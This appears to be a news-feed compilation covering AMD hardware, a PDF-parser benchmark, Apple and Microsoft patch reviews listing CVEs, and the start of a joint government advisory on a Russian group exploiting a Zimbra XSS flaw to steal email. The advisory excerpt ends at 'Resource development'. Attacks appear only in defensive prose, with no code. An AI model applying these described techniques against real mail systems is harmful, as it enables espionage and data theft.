The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.

Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.

Execution for AMD is now the test

AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.

AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.

As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Remember Jibo? Its Successor Is a Wearable That Turns Your Life Into AI Slop

Sat, 25 Jul 2026 19:49:57 +0200

With “blessings” from the original Jibo founders, iKairos is a wearable or desk-mounted “AI journal” that turns your family moments into AI images and video.

Datalab Marker v2 vs MinerU, Docling, and Liteparse: Benchmark Breakdown

Sat, 25 Jul 2026 19:49:21 +0200

Datalab rewrote Marker as a three-mode pipeline. Version 2 hits 76.0 on olmOCR-bench and sustains 2.9 pages per second on one B200 — over 5× MinerU's pipeline backend, while beating Docling on both accuracy and speed. Here's how it compares against MinerU, Docling and LiteParse, and which one fits your use case.

The post Datalab Marker v2 vs MinerU, Docling, and Liteparse: Benchmark Breakdown appeared first on MarkTechPost.

The June 2026 Apple Security Update Review

Sat, 25 Jul 2026 19:02:52 +0200

We’re back with our look at the Apple macOS and iOS security updates. As this is a new feature for us, please let us know your feedback on the blog.

For Jun 2026, Apple released 37 unique CVEs across iOS 26.5.2 / iPadOS 26.5.2, macOS Tahoe 26.5.2, Safari 26.5.2. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. The overwhelming majority (31 of 37) are WebKit/WebRTC bugs reachable through malicious web content. Most of those are crash/DoS bugs rather than code execution, so the real risk lives in the small set of kernel bugs and the handful of WebKit sandbox escapes. However, there are a couple that stand out.

- CVE-2026-43724 (Kernel) – According to Apple, “An app may be able to cause unexpected system termination or write kernel memory.” A kernel memory write is the highest-value primitive here: it's the privilege-escalation half of a full exploit chain and leads to complete device control. The bug was credited to Hyunwoo Kim (@v4bel), who is known to be a serious kernel researcher.

- CVE-2026-39868 (Kernel) – Another kernel bug, this one could “cause unexpected system termination or corrupt kernel memory.” This is kernel memory corruption, and notably credited to a roster of elite offensive researchers (STAR Labs, Positive Technologies, Baidu Security). This kind of attribution usually signals a weaponizable, possibly Pwn2Own-grade bug rather than a theoretical crash.

- CVE-2026-43725 / CVE-2026-43701 (WebKit) – Apple states these bugs could allow a website to process restricted web content outside the sandbox. I'm flagging this sandbox-escape pair over the many WebKit crash bugs because a sandbox escape is the bridge that turns a web-content bug into a path toward the kernel issues above. It's the most dangerous remotely-triggered class in the release.

Here’s a look at all the bugs released by Apple this month:

Apple Security Update – June 29, 2026 37Total CVEs 22Denial of Service 7Information Disclosure 3Memory Corruption 2Elevation of Privilege 2Sandbox Escape 1Spoofing

Apple security release — June 29, 2026. "Yes/No" indicates whether each update is affected. CVE IDs link to NVD.
CVE ID	Component	Impact	iOS 26.5.2 / iPadOS 26.5.2	macOS Tahoe 26.5.2	Safari 26.5.2
CVE-2026-43743	IOGPUFamily	An app may be able to cause unexpected system termination	Yes	Yes	No
CVE-2026-39868	Kernel	An app may be able to cause unexpected system termination or corrupt kernel memory	Yes	Yes	No
CVE-2026-43722	Kernel	An app may be able to leak sensitive kernel state	Yes	Yes	No
CVE-2026-43724	Kernel	An app may be able to cause unexpected system termination or write kernel memory	Yes	Yes	No
CVE-2026-43703	libxslt	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	No
CVE-2026-43706	libxslt	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	No
CVE-2026-43704	Web Extensions	A malicious web extension may be able to cause an unexpected process crash	Yes	Yes	Yes
CVE-2026-39872	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43663	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43676	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43699	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43700	WebKit	Processing maliciously crafted web content may disclose sensitive user information	Yes	Yes	Yes
CVE-2026-43701	WebKit	A malicious website may be able to process restricted web content outside the sandbox	Yes	Yes	Yes
CVE-2026-43705	WebKit	Processing maliciously crafted web content may lead to memory corruption	Yes	Yes	Yes
CVE-2026-43707	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43708	WebKit	A malicious website may exfiltrate data cross-origin	Yes	Yes	Yes
CVE-2026-43709	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43712	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43713	WebKit	Visiting a website may leak sensitive data	Yes	Yes	Yes
CVE-2026-43715	WebKit	Processing maliciously crafted web content may lead to memory corruption	Yes	Yes	Yes
CVE-2026-43716	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43725	WebKit	A malicious website may be able to process restricted web content outside the sandbox	Yes	Yes	Yes
CVE-2026-43726	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43727	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43731	WebKit	Processing maliciously crafted web content may lead to memory corruption	Yes	Yes	Yes
CVE-2026-43732	WebKit	Processing maliciously crafted web content may disclose sensitive user information	Yes	Yes	Yes
CVE-2026-43734	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43735	WebKit	A malicious website may exfiltrate data cross-origin	Yes	Yes	Yes
CVE-2026-43740	WebKit	Processing maliciously crafted web content may result in the disclosure of process memory	Yes	Yes	Yes
CVE-2026-43742	WebKit	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43745	WebKit	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43720	WebKit Canvas	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43721	WebKit Storage	A malicious website may be able to silently hijack clipboard data	Yes	Yes	Yes
CVE-2026-28979	WebRTC	Processing maliciously crafted web content may lead to an unexpected process crash	Yes	Yes	Yes
CVE-2026-43717	WebRTC	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43718	WebRTC	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes
CVE-2026-43746	WebRTC	Processing maliciously crafted web content may lead to an unexpected Safari crash	Yes	Yes	Yes

We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft.

The February 2026 Security Update Review

Sat, 25 Jul 2026 19:00:44 +0200

I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for February 2026

For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for After Effects, which fixes 13 Critical and two Important rated bugs. The patch for Substance 3D Designer is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for Substance 3D Stager corrects five Critical-rated bugs that could lead to code execution. The Audition patch fixes six bugs, but only one is Critical.

The other patches are smaller in size. The fix for the Adobe DNG Software Development Kit (SDK) corrects two Critical and two Important-rated bugs. The InDesign patch fixes three bugs, but only one is Critical. The update for Adobe Bridge fixes two Critical bug that could lead to code execution. The patch for Lightroom Classic addresses a single Critical bug, and the release is wrapped up with a patch for Substance 3D Modeler that fixes a single, Important-rated memory link.

None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for February 2026

This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.

It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration.

Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack:

- CVE-2026-21510 - Windows Shell Security Feature Bypass Vulnerability
This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.

- CVE-2026-21514 - Microsoft Word Security Feature Bypass Vulnerability
This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is not an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.

- CVE-2026-21519 - Desktop Window Manager Elevation of Privilege Vulnerability
This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.

- CVE-2026-21533 - Windows Remote Desktop Services Elevation of Privilege Vulnerability
Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.

- CVE-2026-21513 - Internet Explorer Security Feature Bypass Vulnerability
Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.

- CVE-2026-21525 - Windows Remote Access Connection Manager Denial of Service Vulnerability
It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.

Here’s the full list of CVEs released by Microsoft for February 2026:

CVE	Title	Severity	CVSS	Public	Exploited	TYPE
CVE-2026-21514	Microsoft Word Security Feature Bypass Vulnerability	Important	7.8	Yes	Yes	SFB
CVE-2026-21510	Windows Shell Security Feature Bypass Vulnerability	Important	8.8	Yes	Yes	SFB
CVE-2026-21513	Internet Explorer Security Feature Bypass Vulnerability	Important	8.8	Yes	Yes	SFB
CVE-2026-21519	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-21533	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	7.8	No	Yes	EoP
CVE-2026-21525	Windows Remote Access Connection Manager Denial of Service Vulnerability	Moderate	6.2	No	Yes	DoS
CVE-2026-21511	Microsoft Outlook Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2023-2804 *	Red Hat, Inc. CVE-2023-2804: Heap Based Overflow libjpeg-turbo	Important	6.5	Yes	No	RCE
CVE-2026-24302	Azure Arc Elevation of Privilege Vulnerability	Critical	8.6	No	No	EoP
CVE-2026-24300	Azure Front Door Elevation of Privilege Vulnerability	Critical	9.8	No	No	EoP
CVE-2026-21532	Azure Function Information Disclosure Vulnerability	Critical	8.2	No	No	Info
CVE-2026-21522	Microsoft ACI Confidential Containers Elevation of Privilege Vulnerability	Critical	6.7	No	No	EoP
CVE-2026-23655	Microsoft ACI Confidential Containers Information Disclosure Vulnerability	Critical	6.5	No	No	Info
CVE-2026-21218	.NET and Visual Studio Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-21512	Azure DevOps Server Cross-Site Scripting Vulnerability	Important	6.5	No	No	XSS
CVE-2026-21529 †	Azure HDInsight Spoofing Vulnerability	Important	5.7	No	No	Spoofing
CVE-2026-21528	Azure IoT Explorer Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-21228	Azure Local Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-21531	Azure SDK for Python Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-21251	Cluster Client Failover (CCF) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-20846	GDI+ Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-21523	GitHub Copilot and Visual Studio Code Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-21518	GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability	Important	6.5	No	No	SFB
CVE-2026-21257	GitHub Copilot and Visual Studio Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-21256	GitHub Copilot and Visual Studio Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21516	GitHub Copilot for Jetbrains Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21253	Mailslot File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21537 †	Microsoft Defender for Endpoint Linux Extension Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21259	Microsoft Excel Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-21258	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-21261	Microsoft Excel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-21527	Microsoft Exchange Server Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-21260	Microsoft Outlook Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-21229	Power BI Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-21236	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21238	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21241	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21517	Windows App for Mac Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21234	Windows Connected Devices Platform Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21235	Windows Graphics Component Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-21246	Windows Graphics Component Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21232	Windows HTTP.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21240	Windows HTTP.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21250	Windows HTTP.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21244	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-21247	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-21248	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-21255	Windows Hyper-V Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-21231	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21239	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21245	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21222	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-21243	Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-20841	Windows Notepad App Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-21249	Windows NTLM Spoofing Vulnerability	Important	3.3	No	No	Spoofing
CVE-2026-21508	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21237	Windows Subsystem for Linux Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-21242	Windows Subsystem for Linux Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-1861 *	Chromium: CVE-2026-1861 Heap buffer overflow in libvpx	High	N/A	No	No	RCE
CVE-2026-1862 *	Chromium: CVE-2026-1862 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-0391	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.

Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.

Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.

There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order. There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.

There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.

Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.

We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.

No new advisories are being released this month.

Looking Ahead

I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Sat, 25 Jul 2026 18:59:26 +0200

Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite

Executive summary

A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see Cybersecurity industry tracking), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [1].

LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) CVE-2025-66376, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.

Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the Persistence and credential access section.

This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:

United States National Security Agency (NSA)
United States Federal Bureau of Investigation (FBI)
Netherlands Defence Intelligence and Security Service (MIVD)
Netherlands General Intelligence and Security Service (AIVD)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Defense Counterintelligence and Security Agency (DCSA)
United States Department of Defense Cyber Crime Center (DC3)
United States Department of the Treasury
United States Naval Criminal Investigative Service (NCIS)
Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
New Zealand National Cyber Security Centre (NCSC-NZ)
United Kingdom National Cyber Security Centre (NCSC-UK)
Czech Republic National Cyber and Information Security Agency (NÚKIB)¹
Danish Defence Intelligence Service (DDIS)²
Estonian Foreign Intelligence Service (EFIS)³
Finnish Defence Intelligence (FDI)⁴
Finnish Security and Intelligence Service (SUPO)⁵
French General Directorate for Internal Security (DGSI)⁶
French National Cybersecurity Agency (ANSSI)⁷
Italian External Intelligence and Security Agency (AISE)⁸
Italian Internal Intelligence and Security Agency (AISI)⁹
Security and Intelligence Service of the Republic of Moldova (SIS RM)¹⁰
Polish Foreign Intelligence Agency (AW)¹¹
The Military Counterintelligence Service of Poland (SKW)¹²
Spain National Intelligence Centre (CNI)¹³
Sweden National Cyber Security Centre (NCSC-SE)¹⁴

The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the Mitigations section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed Indicators of compromise (IOCs).

As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.

For a downloadable list of IOCs, see:

AA26-204A.stix.xml (STIX XML)
AA26-204A.stix.json (STIX JSON)

Cybersecurity industry tracking

The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:

LAUNDRY BEAR
Void Blizzard [2]
CL-STA-1114 [3]
TA488 (formerly UNK_PitStop) [4]

Note: Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.

Background

Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [1] [2]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.

The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [T1114.002]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [T1078], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence & Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [T1557].

Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [T1587.001] named “Улей” or “Ulej” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [T1114]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:

Last 90 days of emails,
Email address,
Password [T1589.001],
Global Address List (GAL) [T1087],
Two-factor authentication (2FA) tokens, and
Newly-created Application Passcode [T1098].

The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.

Targeting details

LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:

the Defense Industrial Base (DIB),
the federal and local government,
education,
energy,
law enforcement,
media,
non-governmental organizations, and
technology.

Technical details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 19. This advisory also uses MITRE D3FEND^TM version 1.4.0¹⁵. See Appendix A and Appendix B for tables of the activity mapped to MITRE ATT&CK and D3FEND tactics, techniques, and countermeasures.

Ulej is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit CVE-2025-66376 [Common Weakness Enumeration (CWE) CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [T1074.002] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.

Reconnaissance

LAUNDRY BEAR uses the Ulej capability to exploit the CVE-2025-66376 vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [T1595] and fingerprinting datasets easily procured through various commercial vendors [T1596.005].

After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [T1589.002] from datasets offered by commercial vendors [T1597.002], open source intelligence [T1593], or previously exfiltrated data [T1597].

Resource development

